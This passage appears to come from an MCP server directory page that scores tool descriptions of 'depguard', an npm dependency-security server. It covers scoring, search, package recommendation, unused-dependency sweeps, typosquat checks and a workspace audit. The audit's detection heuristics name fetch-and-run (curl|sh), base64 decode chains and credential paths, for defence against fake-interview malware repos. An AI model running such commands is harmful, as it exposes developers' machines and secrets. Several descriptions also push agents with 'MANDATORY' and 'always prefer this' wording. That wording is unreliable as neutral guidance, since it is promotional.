The description clearly states the tool generates a CycloneDX 1.6 SBOM for npm projects, specifying inputs (package.json + lock file), content (direct/transitive components, PURLs, hashes), and clearly distinguishes from sibling audit/guard tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicit usage guidance is provided: 'Use this when the user asks for an SBOM, a compliance report, or to comply with EU CRA / US EO 14028 requirements.' It also mentions when to set includeVex but does not explicitly state when not to use the tool.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_scoreA
Quick 0-100 quality score for a package. Faster than depguard_audit when you only need the score. Critical vulns cap at 30, high at 50.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | npm package name | |
| targetLicense | No | Project license for compatibility check (default: MIT) |
TDQS
A4.2/5.0
Behavior4/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, description discloses scoring behavior with caps for critical and high vulnerabilities. Adds value beyond basic purpose, though does not cover all behavioral aspects like side effects or authentication.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences, front-loaded with purpose, differentiation, and a key behavioral detail. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness4/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple two-parameter tool with no output schema, description covers purpose, usage, and a behavioral detail. Could mention output format but overall sufficient.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% and description adds scoring context but does not directly elaborate on parameter meaning beyond schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states it provides a 'Quick 0-100 quality score for a package' and distinguishes from sibling 'depguard_audit' by noting speed advantage for score-only needs.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says use when 'you only need the score' and is 'Faster than depguard_audit', providing clear usage context. Does not explicitly mention when not to use or other alternatives, but the guidance is helpful.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_searchA
Search npm for packages by keywords, sorted by depguard quality score. Use when you need to find packages but already know the keywords.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | Max results (default: 10) | |
| keywords | Yes | Search keywords | |
| minScore | No | Minimum score filter 0-100 (default: 0) |
TDQS
A3.9/5.0
Behavior3/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. Mentions sorting behavior but does not explicitly state read-only nature or lack of side effects. Minimal disclosure.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Two succinct sentences: first states purpose, second gives usage guidance. No superfluous words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness3/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema exists, but description does not explain return format (e.g., list of packages, scores, pagination). Some information missing for full completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema covers 100% of parameters with descriptions. Description adds only the sorting context, not additional parameter meaning beyond schema. Baseline score applies.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states verb 'search', resource 'npm packages', and sorting by 'depguard quality score'. Distinguishes from sibling tools which are audit/remediation focused.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit usage context: 'Use when you need to find packages but already know the keywords.' Does not mention when not to use or alternatives, but sibling list shows no similar search tool.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_should_useA
When you need functionality (e.g. "RTSP streaming", "date formatting"), call this BEFORE choosing a package yourself. Checks if Node.js has a native solution first, then evaluates npm candidates and recommends install, caution, or write-from-scratch. Always prefer this over picking a package from your training data — it gives you up-to-date security and quality data.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| intent | Yes | What you want to accomplish (e.g. "http client", "date formatting") | |
| threshold | No | Score threshold for install recommendation (default: 60) | |
| targetLicense | No | Project license for compatibility check (default: MIT) |
TDQS
A4.7/5.0
Behavior5/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Describes the full process: checks native solutions first, evaluates npm candidates, and gives recommendations with security and quality data. No annotations, but description fully covers expected behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Three concise sentences with no wasted words. Front-loaded with clear purpose and usage guidance.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness5/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and 3 parameters, description provides complete context: when to use, what it does, and the evaluation process. No gaps.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so parameters are well-documented in schema. Description does not add additional meaning beyond what schema provides. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states the tool's purpose: it checks for native Node.js solutions first, then evaluates npm candidates, and recommends install/caution/write-from-scratch. Differentiates from sibling tools which are about auditing/reviewing, not recommending.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines5/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says 'call this BEFORE choosing a package yourself' and 'Always prefer this over picking a package from your training data'. Provides clear guidance on when to use and contrasts with alternatives.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_sweepA
Find unused npm packages in the project. Scans source files for imports and cross-references with package.json. Also detects phantom deps (installed but not declared). Call this after a coding session where you installed multiple packages — some may no longer be needed.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes | Absolute path to project root (must contain package.json) | |
| includeDevDependencies | No | Include devDependencies in scan (default: false) |
TDQS
A4.1/5.0
Behavior4/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Without annotations, the description carries the burden of disclosing behavior. It explains the scanning process (source files, package.json, phantom deps) and implies a read-only operation. No contradictions with annotations (none provided).
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences with no filler. Each sentence serves a purpose: state action, explain method, provide usage scenario. Efficient and well-structured.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness3/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Lacks description of output format, which is important since there is no output schema. The schema is simple (2 params), and the description covers the tool's purpose well, but omits what the result looks like, which is a gap.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the baseline is 3. The description adds context that path must contain package.json, adding slight value beyond the schema. It does not address the includeDevDependencies parameter explicitly, but the context is sufficient.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's function: finding unused npm packages and phantom deps. It uses specific verbs like 'find', 'scans', 'cross-references', and 'detects', making the purpose unambiguous. The description differentiates from sibling tools by detailing the exact action.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit guidance on when to use ('after a coding session where you installed multiple packages'). While it does not list alternatives or when not to use, the context is clear enough for an AI agent to decide.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_verifyA
Quick check if a package name exists on npm + typosquatting detection. Faster than depguard_guard when you only need existence verification without a full audit.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | npm package name to verify |
TDQS
A4.4/5.0
Behavior4/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It discloses key behaviors (existence check, typosquatting detection, fast) but lacks details on side effects (e.g., read-only, error handling). Still above average for the simplicity.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness5/5
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, front-loaded with purpose and key differentiator, no wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness4/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Tool is simple with one parameter, no output schema, but description explains output (existence + typosquatting). Adequately complete, though could mention network dependency.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% for the single parameter 'name', and description adds no extra semantic meaning beyond what the schema provides. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool checks package existence on npm and detects typosquatting, and distinguishes itself from sibling 'depguard_guard' by being faster for verification only.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines5/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly advises when to use: 'when you only need existence verification without a full audit', and contrasts with 'depguard_guard' for efficiency.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
depguard_workspace_auditA
MANDATORY: call this AFTER cloning a repository and BEFORE opening it in any IDE (VS Code, Cursor, JetBrains, etc.) or running direnv allow. Enumerates every file in the repo that auto-executes when the workspace opens: .vscode/tasks.json runOn:folderOpen, .vscode/settings.json shell overrides, .devcontainer lifecycle commands, .envrc, JetBrains run configurations, Makefile default targets, .gitattributes custom filter drivers, and committed git hooks. Classifies each as INFO / WARN / HIGH using FP-averse heuristics (benign npm run watch stays INFO; only curl|sh, base64 decode chains, credential paths, and obfuscation escalate). This is the technical defense against fake-interview / take-home-test malware campaigns where a coding-test repo compromises the developer's session before the IDE finishes loading.
ParametersJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes | Absolute path to the repository root to audit |
TDQS
A4.2/5.0
Behavior4/5
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full burden. It details the enumeration of specific auto-execution files, classification heuristics (INFO/WARN/HIGH), and FP-averse approach. Does not disclose performance or other side effects, but sufficient for understanding behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Conciseness4/5
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is front-loaded with the mandatory usage instruction and is informative. While slightly long (4 sentences), every sentence adds value. Could be trimmed slightly but efficient overall.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Completeness5/5
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (single parameter, no output schema), the description is remarkably complete: it explains purpose, usage timing, methodology, classification details, and threat context. No gaps for an agent to understand how and why to use it.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Parameters3/5
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% for the single 'path' parameter. The description adds context about mandatory usage timing but does not enhance parameter semantics beyond the schema. Baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Purpose5/5
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool audits a repository for auto-executing files upon workspace opening, with specific verb 'enumerates' and resource 'workspace auto-execution'. It distinguishes from sibling audit tools like depguard_audit by focusing on workspace-specific security checks.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Usage Guidelines4/5
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states it must be called after cloning and before opening any IDE or running direnv allow, providing clear context. However, it does not mention when not to use it or provide direct alternatives among siblings.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
TDQS
A4.3/5.0
Disambiguation5/5
Each tool has a clearly distinct purpose: audit variants target different scopes (single, bulk, deep, project), guard and verify serve different pre-install checks, and others cover remediation, review, SBOM, scoring, search, recommendation, cleanup, and workspace audit. No two tools appear to do the same thing.
Naming Consistency4/5
All tools use the 'depguard_' prefix and mostly follow a verb or verb_noun pattern (e.g., audit, guard, remediate). However, 'sbom' is a noun and 'should_use' is a phrase, deviating slightly from the predominant pattern. Overall, the naming is predictable and readable.
Tool Count5/5
With 14 tools, the server covers a comprehensive set of operations for npm package security and project hygiene without being bloated. Each tool serves a distinct function, and the count feels well-scoped for the domain.
Completeness5/5
The tool set covers the full lifecycle: auditing at multiple granularities, pre-install guarding, remediation planning, code review, SBOM generation, scoring, search, package recommendation, unused dependency detection, and workspace malware checks. No obvious gaps for the stated purpose.
Maintenance
ActivityActive
ResponsivenessSlow
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Connectors
Zero-install security baseline for AI coding agents — OWASP/CWE-cited rules over MCP.
Zero-config MCP security scanner for AI-generated apps. 25K+ vulnerability patterns.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
AgentGuard — 20-tool AI safety MCP: policy preflight, risk scoring, audit logging, rate limits.
Related MCP Servers
- AlicenseNot gradedqualityBmaintenanceMCP server for AI agent security guardrails. Provides input validation, prompt injection detection, PII redaction, output filtering, policy enforcement, rate limiting, and comprehensive audit logging.761MIT
- AlicenseCqualityCmaintenanceA secure-by-default MCP server and CLI for AI agents to inspect Spring Boot repositories and interact with runtime Actuator endpoints, enabling code review, dependency scanning, and monitoring.44MIT
- AlicenseCqualityBmaintenanceSecurity scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.21MIT
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/mopanc/depguard'
If you have feedback or need assistance with the MCP directory API, please join our Discord server